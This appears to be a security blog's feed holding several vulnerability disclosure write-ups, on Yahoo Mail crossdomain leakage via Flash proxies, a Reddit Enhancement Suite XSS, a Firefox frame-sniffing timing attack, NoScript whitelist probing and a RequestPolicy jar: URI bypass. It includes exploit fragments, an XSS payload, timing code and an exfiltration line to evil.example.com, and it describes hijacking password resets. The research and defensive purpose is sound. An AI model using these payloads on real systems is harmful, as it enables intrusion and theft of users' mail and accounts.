                            if(new Date().getTime() > timeLimit) {
                                if(callback)
                                    ExternalInterface.call(callback, null);
                            } else {
                                checkFinished();
                            }
                        }
                    }, 10);
                }
                checkFinished();
            }, 100);
        };

        // Load up the vulnerable proxy SWF
        var MCLoader:Loader = new Loader();
        MCLoader.load(new URLRequest(PROXY_URL));
        MCLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, ldrComplete);
    }
}
}

Now here’s the tricky part. We need to find interesting, leakable endpoints. We can’t leak them if they return invalid XML (ruling out most webpages and JSON containing HTML fragments,) we can’t leak them if they return a non-200 status code, and we can’t leak them if they require an auth token we can’t guess.

Some alternative endpoints for the Social API fit the bill nicely. They let us fetch the current user’s contacts and profile without requiring an auth token or user ID. You can see those leaking to a page we control here:

But What About Mail?

One that stumped me for a long time was getting the user’s mail. All of the endpoints for mail listings required a valid WSSID (web services session id?) Unfortunately, all the endpoints I could find that would give me one had non-200 response codes or wouldn’t parse as XML. I eventually found what I was looking for by running YMail’s android app through mitmproxy. Here you can see the WSSID we wanted, returned with a 200 response code. Even though this endpoint’s normally requested with a POST method, a GET with no params still gives us the WSSID… Sweet!

Let’s leak the user’s mail now. We’ve got a mail search endpoint here that will return mail fragments without embedded HTML. You can see you’ll still sometimes get angle brackets in the response due to inline replies, but you can muck with the query to get around those.

Now, that WSSID functions as a CSRF token as well, so we can now do anything we want as the current user. We can send mail as them, delete all their emails, basically anything a normal user can do.

Here’s a small page demonstrating a bunch of things we can do as long as the user is on a page we control. As you can see, We’ve got the full list of contacts, all of the user’s personal details including their email address and name, and a listing of their emails.

We’ve got enough for a fully-weaponized exploit at this point. We can not only leak their emails, we can also achieve lateral movement by triggering password resets on other services they use, and pulling the reset URLs right out of their email, then deleting them. Of course, previously emailed username/password combos are fair game, too. Very handy for the APT folks ;)

The Fix

hotspotgallery.swf’s allowDomain call has since been changed to Security.allowDomain("sp.yimg.com"), but that doesn’t fix the core issue. There are thousands and thousands of forgotten .swfs on disused subdomains, many of which are probably vulnerable to similar exploits. As long as those crossdomain.xml rules are as loose as they are, it’s only a matter of time before someone finds one and exploits YMail… again.

.swfs that actually need crossorigin access to YMail should be moved to the existing mail.yimg.com subdomain, and the crossdomain.xml should be tightened up to keep YMail safe from rogue galleries of Asian imports and pet shows.

About Yahoo!’s Initial Response

The other thing I want to mention is the initial response I got. I initially submitted an overview of the issue and attached a proof-of-concept that put the JSON from the contacts endpoint in a textbox. Very rudimentary, but sufficient to show crossorigin data leakage. All I got in response was a form reply basically saying “This is intended behaviour, wontfix”. I replied asking why they thought that, and if they had any issues reproducing the issue, but didn’t receive a reply.

I know that reproing Flash issues can be a pain in the ass, and I realized the PoC would break if served from localhost, so I hosted a version with no setup required that more clearly showed what was leaked. I posted a link to the new PoC, reiterating what was being leaked. Still no response. It wasn’t until I posted the version that leaked mail contents 8 months later that I got an unscripted reply.

I get that Yahoo! probably receives tons of spurious reports every day, but without something actionable like “I don’t think X is a bug because Y” or “I’m unable to reproduce the issue, Z happens instead”, reporters don’t have anything to go on if they’re reporting a genuine issue. Without any feedback on what the issue is with the report, their only way to potentially get the bug fixed is through public disclosure (which an operator of a bug bounty probably doesn’t want.) I also know this isn’t an isolated case, since I recently saw a presentation where an RCE on Yahoo!’s reverse proxies got the same treatment.

To Yahoo’s credit, the fellow who responded to my updated proof-of-concept was decently communicative, but every response I’d ever received from Yahoo up ‘til that point had been a scripted response of “fixed”, “wontfix”, “confirmed”, or “new”. When I work with a company (either as a consultant or just through one-off reports,) nothing impresses me more than engineers responding with additional details relevant to my reports, and nothing turns me off more than the company being difficult to communicate with, money or no.

Tips For Yahoo! Bug Bounty Participants

  • Until the crossdomain.xmls are fixed, .swfs and endpoints where the whole response body is controlled are extra-juicy targets
  • .swfs normally served from random subdomains of yimg.com may also be available on l.yimg.com, or even subdomains of yahoo.com
  • There are plenty of versioned .swfs (think branded video players and such) where the old versions are still live on yimg.com. I never bothered auditing them because they’re a pain to trace through, but the WayBack machine is your friend when it comes to finding these orphaned .swfs
  • As usual, endpoints for mobile apps represent some extra attack surface to play with, and a lot of them use regular cookie auth. Set up mitmproxy or burp and go nuts.

Disclosure Timeline

  • 2014-02-09: Reported issue to vendor with PoC showing contacts leakage
  • 2014-02-14: Vendor closed issue as expected behaviour
  • 2014-02-14: Requested clarification from vendor
  • 2014-03-01: Sent vendor a link to updated PoC with no setup required
  • 2014-10-30: Requested public disclosure through HackerOne
  • 2014-11-04: Sent vendor a link to updated PoC showing mail leaking
  • 2014-11-07: Vendor confirmed, reopened issue
  • 2014-11-11: Engaging multimedia experience detailing issue sent to vendor, per request
  • 2014-12-03: Vendor reported issue as fixed, awarded bounty of $2500
  • 2014-12-03: Confirmed hotspotgallery.swf was no longer vulnerable

Related Links

]]> <![CDATA[Spooky Sanitization Stories: Analyzing the XSS Flaw in Reddit Enhancement Suite]]> 2014-04-12T01:04:22-07:00 http://blog.saynotolinux.com/blog/2014/04/12/spooky-sanitizer-stories-analyzing-the-reddit-enhancement-suite-xss-flaw TL;DR

The library that Reddit Enhancement Suite (a browser extension for reddit users) used for HTML sanitization had a bug that bit them pretty hard, enabling DOM-based XSS of 1.5~ million reddit users. RES pushed out a fixed version, and reddit deployed a script to prevent users of the old version from accidentally getting exploited; thus preventing an XSS worm.

Introduction

If you’re a user of Reddit Enhancement Suite, chances are you recently saw this big scary alert() box when you tried to click an expando button:

For those who aren’t familiar with RES, an expando is an inline preview of offsite content, or content that would normally require a clickthrough, that can be viewed by pressing an “expando” button:

A few people have asked questions like “why am I getting that alert?”, “what exactly is this bug?”, “why can’t I just use the vulnerable version anyways?”. Rather than respond to each question separately, I decided to write something that would hopefully answer everyone’s questions at once.

Unusual Beginnings

Interestingly, the most important part of the RES exploit wasn’t found by looking at RES at all. I actually found it by poking around reddit’s markdown library, Snudown. Snudown is mostly written in C, and is a fork of the Sundown markdown library. Snudown departs from Sundown in a number of ways, the most important to us being that it adds the ability to include a restricted subset of HTML alongside your markdown. On reddit, markdown with inline HTML may only be used on the wiki, as it’s intended to allow using HTML tables instead of Sundown’s unwieldly markdown tables.

Taking Apart the Sanitizer

So let’s go into a simplified view of how Snudown did attribute whitelisting. Snudown scanned everything after the tag name, and before a > for valid attr=value pairs, reading everything into the attr buffer as it went. Once Snudown realized it was not dealing with a valid valid/value pair, it would clear the attr buffer and start looking for the next valid pair. Once it decided it had hit the end of the value (by encountering a space outside the quotes, or a > anywhere), it would output everything in the attr buffer, clear it, then continue parsing attributes. Some interesting consequences of the process, <table scope== scope=bar> was sanitized to <table scope=bar>, and <table bad=scope="bar"> was sanitized to <table scope="bar">.

Those outputs aren’t consistent with most HTML parsers, but the biggest issue was how it handled quotes: Snudown saw <table scope=a' bar=baz'> as a table with a single scope attribute, but every mainstream browser sees this as a table with both scope and bar attributes. Quotes are only treated as attribute delimiters when they occur at the beginning of the value, otherwise whitespace is the delimiter. Since Snudown was outputting every validated attr/value pair verbatim, we could abuse this behaviour to sneak attributes like onmouseover by the whitelist!

So wait, this was an XSS on reddit’s wikis?

No. See, even though Snudown performs its own sanitization on inline HTML, Snudown’s output generally isn’t trusted within reddit’s codebase. All of the HTML that comes out of Snudown gets put through a SAX / BeautifulSoup-based sanitizer that validates the HTML and reserializes it in a way that’s unambiguous across browsers. For example, the ambiguous:

1

<table scope=`bar cellspacing='` baz=heyIE ignore=a'>

passes both validation steps, but becomes the unambiguous:

1

<table scope="`bar" cellspacing="` baz=heyIE ignore=a'">

when reserialized by reddit’s SAX sanitizer.

To reiterate, though reddit used Snudown’s wiki rendering mode, reddit was never vulnerable to XSS due to additional precautions taken with its output.

But what does any of this have to do with RES’ image expandos?

I knew that reddit itself wasn’t vulnerable, so before I did anything, I wanted to check if anyone else was using Snudown’s wiki rendering mode in production, outside of users of the reddit codebase. One thing that kept popping up was SnuOwnd, a faithful port of Snudown (with all its quirks) to JS. As some of you may have noticed from the RES changelogs, the Reddit Enhancement Suite also includes SnuOwnd. RES actually uses SnuOwnd for a number of things, and that used to include HTML sanitization:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

RESUtils.sanitizeHTML = function(htmlStr) {
    if (!this.sanitizer) {
        var SnuOwnd = window.SnuOwnd;
        var redditCallbacks = SnuOwnd.getRedditCallbacks();
        var callbacks = SnuOwnd.createCustomCallbacks({
            paragraph: function(out, text, options) {
                if (text) out.s += text.s;
            },
            autolink: redditCallbacks.autolink,
            raw_html_tag: redditCallbacks.raw_html_tag
        });
        var rendererConfig = SnuOwnd.defaultRenderState();
        rendererConfig.flags = SnuOwnd.DEFAULT_WIKI_FLAGS;
        rendererConfig.html_element_whitelist = [
            'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'span', 'div', 'code',
            'br', 'hr', 'p', 'a', 'img', 'pre', 'blockquote', 'table',
            'thead', 'tbody', 'tfoot', 'tr', 'th', 'td', 'strong', 'em',
            'i', 'b', 'u', 'ul', 'ol', 'li', 'dl', 'dt', 'dd',
            'font', 'center', 'small', 's', 'q', 'sub', 'sup', 'del'
        ];
        rendererConfig.html_attr_whitelist = [
            'href', 'title', 'src', 'alt', 'colspan',
            'rowspan', 'cellspacing', 'cellpadding', 'scope',
            'face', 'color', 'size', 'bgcolor', 'align'
        ];
        this.sanitizer = SnuOwnd.getParser({
            callbacks: callbacks,
            context: rendererConfig
        });
    }
    return this.sanitizer.render(htmlStr);
};

//...snip

$.fn.safeHtml = function(string) {
    if (!string) return '';
    else return $(this).html(RESUtils.sanitizeHTML(string));
}

Eep.

Even if we can’t get an XSS on reddit.com proper, RES is still a pretty juicy target. With an install base of 1.5~ million users — which includes a good chunk of reddit’s moderators — an XSS in RES could do a lot of damage.

Finding the Attack Vector

Now all that’s left is to find where safeHTML or sanitizeHTML are passed untrusted data, and we’ve got ourselves an XSS via extension. If it wasn’t apparent from the alert dialog, that injection point is in RES’ expandos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

generateTextExpando: function(expandoButton) {
    var imageLink = expandoButton.imageLink;
    var wrapperDiv = document.createElement('div');
    wrapperDiv.className = 'usertext';

    var imgDiv = document.createElement('div');
    imgDiv.className = 'madeVisible usertext-body';

    var header = document.createElement('h3');
    header.className = 'imgTitle';
    $(header).safeHtml(imageLink.imageTitle);
    imgDiv.appendChild(header);

    //...snip
    expandoButton.expandoBox = imgDiv;
    //...snip
}

imageLink.imageTitle is completely controlled by the attacker, and provided we can get one of RES’ supported sites to serve our Snudown-evading payload, RES will inject it into the DOM.

RES supports expanding text posts from Tumblr inline, and Tumblr allows us to use valid HTML in post titles, so if we made a post with the title Foobar <img src=foo' onerror="alert(1)" ' />, alert(1) would be called when they expanded our link:

Worst-case Scenario

This was about as bad as it gets without having a zero-interaction XSS. Comment pages have a “Show Images” button that expands all images on the page, and those get used a lot for picture threads. Had someone posted a child comment to one of the top comments with a link to the payload, they could have easily started an XSS worm that spammed links to the payload in other threads. Once it spread, the worm could have done things like upvote specific submissions, nuke a subreddit if a moderator got exploited, etc.

The Fix

This bug required fixes in a number of places to keep it fully closed. First, Snudown’s HTML sanitization was changed to first parse the attributes, then unambiguously reserialize its interpretation. That fix was then ported to SnuOwnd’s JS implementation.

Secondly, RES was changed to use a custom HTML sanitizer based on DOMParser since things like href sanitization were out of scope for Snudown. I’m not super happy with this filter, and I think Google Caja should be used in the future, but this one had to go in due to time constraints.

Third, since the issue was so trivial to exploit, and had such high impact, it was necessary to block users still on vulnerable versions of RES from opening expandos to prevent an XSS worm from spreading. reddit ended up doing this on their end by detecting attempts to open the expandos and blocking it based on a version number RES places in the DOM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

r.resAdvisory = {};
r.resAdvisory.minResVersion = [4, 3, 2, 1];
r.resAdvisory.checkRESClick = function (e) {
  if (e.target.id == "viewImagesButton" || $(e.target).hasClass("expando-button")) {
      if(r.resAdvisory.checkRESVersion()) {
          document.body.removeEventListener("click", r.resAdvisory.checkRESClick, true)
      } else {
          e.preventDefault();
          e.stopPropagation();
          alert("The version of Reddit Enhancement Suite you are using has a bug which makes expanding posts insecure to use. Please update Reddit Enhancement Suite to continue using post expandos.  Please visit /r/Enhancement for more information."));
      }
  }
};
r.resAdvisory.checkRESVersion = _.memoize(function () {
    if (!$("#RESMainGearOverlay").length) return true;
    var version = $("#RESConsoleVersion").text();
    if (!version)
      return false;
    version = version.substring(1).split(".");
    version = _.map(ver, function (num) {
        return parseInt(num);
    });
    return version >= r.resAdvisory.minResVersion;
});
r.resAdvisory.init = function () {
    if(document.body.addEventListener)
      document.body.addEventListener("click", r.resAdvisory.checkRESClick, true);
}

Closing Notes

  • If you use a markup library that generates HTML, putting an HTML filter in front of it as a failsafe is a good idea.
  • If you don’t have to insert untrusted HTML into the DOM, it’s best not to. For example, most of the image titles and captions RES handles aren’t even meant to be interpreted as HTML. Putting the rest of the content in a sandboxed iframe would also have mitigated the issue, and I’ve recommended doing that in a future version of RES.
  • Be careful about messing with the page’s DOM at all if you don’t have to, the page can see everything that you add or remove.
  • Sanitizing untrusted HTML is tricky business. If you need to roll your own sanitizer (and please don’t), make sure that you fully parse the document, then reserialize it so it’s unambiguous across parsers. Checking that it looks sane in your parser is not enough.
  • For developers of popular web platforms: It might make sense to audit extensions / third party clients targeted at your users to reduce the amount of cleanup needed should they get exploited.

Further reading

Another example of DOM-based XSS via extensions

]]> <![CDATA[Yahoo's Pet Show of Horrors: Leaking a User's Emails Crossdomain]]> 2014-03-01T01:12:17-08:00 http://blog.saynotolinux.com/blog/2014/03/01/yahoos-pet-show-of-horrors-abusing-a-crossdomain-proxy-to-leak-a-users-email I’m taking a break from browser security posts while I wait for vendors to patch, so the next few posts are probably going to be about web app security. Hopefully I should have some posts about architectural flaws in browsers / plugins by next month.

Initial Discovery

Since Yahoo recently revamped their Responsible Disclosure program, I figured I’d have a go at finding some vulnerabilities. All of *.yahoo.com is in scope, and Yahoo has a lot of legacy behind it, so I started going through the more obscure subdomains manually. One of the subdomains I looked at a lot was hk.promotions.yahoo.com. It’s a good place to look because it has lots of PHP scripts and Flash, it looks like it wasn’t done by Yahoo’s core devs, and most auditors aren’t looking there since its content is mostly in Chinese.

I ended up on http://hk.promotions.yahoo.com/petshow2011/, apparently a page for a Hongkongese pet show that happened in 2011:

As you can see from the request log, something on the page was requesting data from another domain through a crossdomain proxy: http://hk.promotions.yahoo.com/petshow2011/php/getImages.php?file=<url>.

Crossdomain proxies are generally goldmines for vulnerabilities, and this one’s no different. First of all, it doesn’t whitelist the URLs that we may make requests to, and the proxy is positioned inside Yahoo’s internal network, so we can have it proxy out resources that would normally be inacessible. I tested with a .corp.yahoo.com URL I found on google, and ended up with some uninteresting, but normally inaccessible search statistics. Other SSRF attacks were likely posible, but I didn’t poke it too much other than to verify that local file disclosure wasn’t possible.

Second, since the proxy doesn’t set a Content-Type on the response and we control the response body, we’ve got XSS on hk.promotions.yahoo.com thanks to type sniffing!

Escalating Access

That’s nice and all, but XSS on a mostly-static subdomain isn’t that interesting to me. Now, remember that we control the entire body of the proxy’s response and that there’s no Content-Type. That means we can also proxy an SWF and have it be same-origin with hk.promotions.yahoo.com. Why’s a SWF any more useful to us than HTML? Because of overly-permissive crossdomain.xml rules.

Flash checks for a <destination domain>/crossdomain.xml file before attempting a crossorigin request, to see if SWFs from the sender’s origin may read the response (among other things, see “Further Reading”.) For example, if you wanted to allow SWFs on any subdomain of yahoo.com to do crossdomain reads to your domain, you might put a rule like this in your crossdomain.xml:

1

<allow-access-from domain="*.yahoo.com"/>

That’s probably overly permissive, *.yahoo.com is a lot of attack surface, but let’s take a look at what Yahoo actually has in their crossdomain.xmls.

finance.yahoo.com:

1
2
3
4
5

<cross-domain-policy>
    <allow-access-from domain="*.yahoo.com"/>
    <allow-access-from domain="us.js2.yimg.com"/>
    <allow-access-from domain="*.yimg.com"/>
</cross-domain-policy>

www.flickr.com:

1
2
3
4
5
6
7

<cross-domain-policy>
    <allow-access-from domain="*.yahoo.com"/>
    <allow-access-from domain="l.yimg.com"/>
    <allow-access-from domain="d.yimg.com"/>
    <allow-access-from domain="s.yimg.com"/>
    <site-control permitted-cross-domain-policies="master-only"/>
</cross-domain-policy>

ca-mg5.mail.yahoo.com (webmail server, returns valid crossdomain.xml when logged in):

1
2
3
4
5

<cross-domain-policy>
    <allow-access-from domain="*.yahoo.com" secure="false"/>
    <allow-access-from domain="l.yimg.com" secure="false"/>
    <allow-access-from domain="s.yimg.com" secure="false"/>
</cross-domain-policy>

YMail actually has the least secure crossdomain policy of any of the subdomains that I checked. That secure="false" will allow SWFs served over HTTP to read resources only served over HTTPS, making the forced HTTPS a lot less useful. Per Adobe, “Using false in an HTTPS policy file is not recommended because this compromises the security offered by HTTPS.”

It’s Proxies All the Way Down

Well, now we know we can get an arbitrary SWF same-origin with a subdomain of yahoo.com, and we know that SWF can read from a number of subdomains on yahoo.com, let’s get some emails!

First, we need to pick the SWF to proxy. The obvious choice for someone who doesn’t know Flash well is a SWF<->JS XHR proxy. These allow you to proxy requests from JS through a specialized SWF. Here was the result, with some overzealous redaction:

Looks like our proxied proxy works, the response body includes all of my test account’s auth tokens and personal info. One of those tokens allows us to access a JSON endpoint that lists our e-mails:

and we can use those message IDs to pull up specific emails from the user’s inbox:

and since we can read pages containing CSRF tokens, we can delete the user’s emails, send emails as the current user, etc:

Funky. The most obvious application of this attack would be to determine the user’s email, initiate a password reset on any “interesting” sites, read the password reset URL from their email, then delete the email; but there’s plenty of others.

The Fix

Well, the affected page was for a Hongkongese pet show that happened in 2011, so the fix was removing the page and its associated crossdomain proxy. I’m disappointed that the crossdomain.xml rules are still as loose as they are, but I don’t think that’s getting changed anytime soon. Subsequent reports mentioning the crossdomain.xml rules have been marked WONTFIX.

TL;DR

There were SSRF and crossdomain data leakage issues due to a misconfigured crossdomain proxy and overly-permissive crossdomain.xml rules. One was able to leak the emails of the current user, and do anything the user could do from YMail just by having them visit an attacker-controlled page.

This instance of the issue is fixed, but the crossdomain.xml rules are still overly-permissive.

Disclosure Timeline

  • Nov. 19 2013: Discovered that crossdomain proxy leaked internal resources
  • Nov. 20 2013: Reported issue to Yahoo
  • Nov. 23 2013: Updated Yahoo on the XSS / crossdomain leakage / crossdomain.xml issues
  • Nov. 25 2013: Yahoo acknowledges report
  • Nov. 29 2013: Yahoo fixes issue
  • Feb. 03 2014: Yahoo confirms report, bounty elligibility

Further Reading

]]> <![CDATA[What's That Smell? Sniffing Cross-origin Frame Content in Firefox Using Timing Attacks]]> 2014-02-05T06:12:13-08:00 http://blog.saynotolinux.com/blog/2014/02/05/whats-that-smell-sniffing-cross-origin-frames-in-firefox Reading the blogs of lcamtuf and Chris Evans is really what got me interested in browser security, so I’m always on the lookout for novel cross-domain data theft vectors. Today I’m going to go into the discovery and exploitation of such a bug: A timing attack on Firefox’s document.elementFromPoint and document.caretPositionFromPoint implementations.

Initial Discovery

I was looking at ways to automatically exploit another bug that required user interaction when I noticed elementFromPoint and caretPositionFromPoint on the MDN. Curious as to how they behaved with frames, I did a little testing.

I made an example page to test:

1
2
3

<html><body>
    <iframe id="testFrame" src="http://cbc.ca" width="1025"></iframe>
</body></html>

elementFromPoint(x,y) behaved exactly as I expected, when used in the web console it returned the iframe on my page:

1
2

> console.log(document.elementFromPoint(frame.offsetLeft + 10, frame.offsetTop + 10))
< [object HTMLIFrameElement]

caretPositionFromPoint(x,y), however, was returning elements from the page on cbc.ca!

1
2

> console.log(document.caretPositionFromPoint(frame.offsetLeft + 10, frame.offsetTop + 10))
< [object CaretPosition]

But there was a small snag: I couldn’t actually access the CaretPosition’s offsetNode from JS without getting a security exception. It seems that Firefox noticed that offsetNode was being set to an element from a cross-origin document, and wrapped the CaretPosition object so that I couldn’t access any of its members from my document. Great.

However, I found I could access offsetNode when it was set to null. offsetNode seems to be set to null when the topmost element at a given point is a button, and that includes scrollbar thumbs. That’s great for us, because knowing the size and location of the frame’s scrollbar thumb tells us how large the framed document is, and also allows us to leak which elements exist on the page.

For example here’s what we can infer about https://tomcat.apache.org/tomcat-5.5-doc/ssl-howto.html#Create_a_local_Certificate_Signing_Request_(CSR) through its scrollbars:

The vertical scrollbar thumb has obviously moved, so we know that an element with an id of Create_a_local_Certificate_Signing_Request_(CSR) exists in the framed document.

The following function is used to test offsetNode accessibility at a given point in the document:

1
2
3
4
5
6
7
8

function isOffsetNodeAccessibleAt(x, y) {
  try {
      document.caretPositionFromPoint(x, y).offsetNode;
  } catch(e) {
      return false;
  }
  return true;
}

Digging Deeper

Knowing the page’s size and whether certain elements are present is nice, but I wanted more. I remembered Paul Stone’s excellent paper about timing attacks on browser renderers and figured a timing attack might help us here.

caretPositionFromPoint has to do hit testing on the document to determine what the topmost element is at a given point, and I figured that’s not likely to be a constant time operation. It was also clear that hit testing was being performed on cross-origin frame contents, since caretPositionFromPoint was returning elements from them. I guessed that the time it took for a caretPositionFromPoint(x,y) call to return would leak information about the element at (x,y).

To test my theory I made a script that runs caretPositionFromPoint(x,y) on a given point 50 times, then stores the median time that the call took to complete. Using the median is important so we can eliminate timing differences due to unrelated factors, like CPU load at the time of the call.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

function timeToFindPoint(x, y) {
  // window. getter is slow, apparently.
  var perf = window.performance;
  
  // Run caretPositionFromPoint() NUM_SAMPLES times and store runtime for each call.
  var runTimes = new Float64Array(NUM_SAMPLES);
  for(var i=0; i<NUM_SAMPLES; ++i) {
      var start = perf.now();
      document.caretPositionFromPoint(x, y);
      runTimes[i] = perf.now() - start;
  }
  
  // Return the median runtime for the call
  runTimes = Array.apply( [], runTimes);
  runTimes.sort();
  
  return runTimes[(NUM_SAMPLES / 2) | 0];
}

Once we’ve gathered timing measurements for all of the points across the iframe, we can make a visualization of the differences:

Neat.

You can see a number of things in the timing data: the bounding boxes of individual elements, how the lines of text wrap, the position of the bullets in the list, etc.

It also seems that even though elementFromPoint doesn’t return elements from the framed document, it still descends into it for its hit testing, so it’s vulnerable to the same timing attack as caretPositionFromPoint.

Stealing Text

So we can infer quite a bit about the framed document from the timing information, but can we actually steal text from it? Maybe, with a lot of work, depending on the page’s styling.

I’d hoped that caretPositionFromPoint’s real purpose (determining what character index the caret should be at for a given point) would yield large enough timing differences to leak the width of individual characters, but that didn’t seem to be the case.

Since we can tell how wide a line of text is, we can extract text using a similar method to sirdarckcat’s. First we measure how long the line is, then we make the iframe more narrow to force the text to wrap, then we subtract the new width of the the line from the old width, giving us the width of the word that just wrapped.

Since most sites use variable-width fonts (“O” and “i” are different widths on this blog, for example,) many small words have distinct widths that make them easy to pick out. With longer words, there may be a number of valid words with that width, however an attacker may be able to determine what word fits best using the context of the surrounding words.

Note that since we need to force text wrapping to get these measurements, it’s harder to steal text from fixed-width pages, or pages that display a horizontal scrollbar instead of wrapping text (like view-source: URIs.) Pages that use fixed-width fonts are also more difficult to analyze because characters do not have distinct widths, we can only determine the number of characters in a word.

Working Examples

Note that the last Firefox version these actually work in is 26, if you want to try them out you’ll have to find a download for it.

The Fix

Judging from Robert O’Callahan’s fix, it looks like Firefox was using a general hit testing function that descended cross-document for both elementFromPoint and caretPositionFromPoint. The fix was to disable cross-document descent in the hit testing function when called by either elementFromPoint or caretPositionFromPoint.

Disclosure Timeline

  • Dec. 11 2013: Discovered caretPositionFromPoint leaked info through offsetNode accessibility
  • Dec. 13 2013: Notified Mozilla
  • Dec. 13 2013: Mozilla responds
  • Dec. 15 2013: Discovered timing info leaks in both elementFromPoint and caretPositionFromPoint
  • Dec. 16 2013: Sent update to Mozilla
  • Dec. 16 2013: Mozilla responds
  • Dec. 18 2013: Fix committed
  • Jan. 16 2014: Fix pushed to Beta channel
  • Feb. 04 2014: Fix pushed to Stable channel and advisory posted
]]> <![CDATA[Abusing NoScript's Global Whitelist Rules to Reveal Trusted Sites (the Easy Way)]]> 2013-12-18T03:58:17-08:00 http://blog.saynotolinux.com/blog/2013/12/18/abusing-noscripts-global-whitelist-rules-to-reveal-trusted-sites-the-easy-way Here’s one that’s been covered a bit before: NoScript makes it easy for whitelisted sites to see what other sites are on the whitelist.

So what’s the issue?

Most of the pertinent info is in the previous paper, but I’ll give a brief summary. By default NoScript operates in whitelist mode, forbidding scripts from all domains. Once a site has been added to the whitelist, scripts from that domain as well as those included from other whitelisted domains may be executed on the page.

NoScript’s default whitelist is fairly small, and users don’t generally share sets of whitelist rules (like with Adblock Plus,) so if a site is whitelisted the user must have used or visited that site.

Since the only whitelist is a global one (allowing scripts to run on facebook.com also allows other whitelisted domains to execute scripts from facebook.com,) whitelisted sites may infer what other sites are on the whitelist by including scripts from other domains and checking whether or not they execute.

The method described in the paper involves finding a valid script file on the domain you want to test and observing its side effects (modifications to the window object or the DOM.) This can be tedious for an attacker, and requires a bit of manual work. It may also pollute the DOM / window object with junk and break our testing code!

Luckily, there’s an easier way. Mike Cardwell describes a method of determining if a cross-origin resource returned a 200 status code using <script> tags. The <script> tag’s onload handler will trigger on a successful HTTP status code, and the onerror handler will trigger otherwise. The <script> tag’s onload handler will trigger even if the resource isn’t a valid script.

The same method may be used to determine if NoScript has blocked a resource that would normally return a 200 HTTP status code. http://domain.tld/ usually returns HTML with a 200 status code, so that’s a pretty good candidate for testing.

For example:

onload/onerror example
1

<script src="http://google.com" onload="javascript:alert('google loaded')" onerror="javascript:alert('google failed')"></script>

If you have google.com whitelisted, this will say “google loaded!”. Otherwise (or if google.com is down for some reason) this will print “google failed”.

Cool, let’s see it in action!

Here’s an example of how the attack may be used, including a timing attack based on the RequestPolicy bypass described in my last post. Mind, the timing attack is a bit spotty, and generally doesn’t work on the first page load. Refresh the page if it doesn’t work the first time.

If you don’t have either RequestPolicy or NoScript installed, here’s what you should see:

How can it be fixed?

Global whitelist entries by their very nature leak info to any other site on the whitelist. This won’t be fixed in NoScript until support for per-site whitelists is added and people are encouraged to remove their old global rules.

In the meantime, using a patched RequestPolicy will give you a per-site whitelist for all cross-domain requests, effectively mitigating the issue.

]]> <![CDATA[Bypassing RequestPolicy's Whitelist Using the Jar: URI Scheme]]> 2013-11-29T04:11:39-08:00 http://blog.saynotolinux.com/blog/2013/11/29/bypassing-requestpolicys-whitelist-using-the-jar-uri-scheme Here’s an interesting bug I found while looking at some cross-domain data-stealing issues. It’s possible to bypass RequestPolicy’s whitelist entirely by referencing a resource nested in a jar URI:

Exfiltration example
1

<img src="jar:http://evil.example.com/logger?userdata=whatever!/foobar" />

Firefox will block the resource from being displayed even if it is valid (due to prior security issues with the jar URI scheme,) but a cross-domain request is made and it doesn’t require JS to execute. This can be verified through the network pane in Firefox’s dev tools. A limited amount of information may be sent back from the server by using timing information.

Requests to jar URIs don’t get processed by RequestPolicy because aContentLocation’s asciiHost is undefined when the jar URI scheme is used, and it gets treated as an internal request. Since all internal requests are implicitly allowed, the request goes through.

I emailed Justin the patch a few months ago, but he hasn’t responded. Hopefully this gets fixed on the addons.mozilla.org version soon, since it limits RequestPolicy’s effectiveness at preventing data exfiltration.

For now, you can use my fork of RequestPolicy. I’m not sure if the patch has any interactions with extensions, but it should also fix issues with nested use of the view-source scheme (which for some reason doesn’t implement nsINestedURI)

Proof-of-Concept

If you’d like to see whether or not you’re vulnerable, I’ve made a Proof-of-Concept that detects whether or not RequestPolicy blocked an image from a jar URI.

Without the patch:

With the patch:

]]>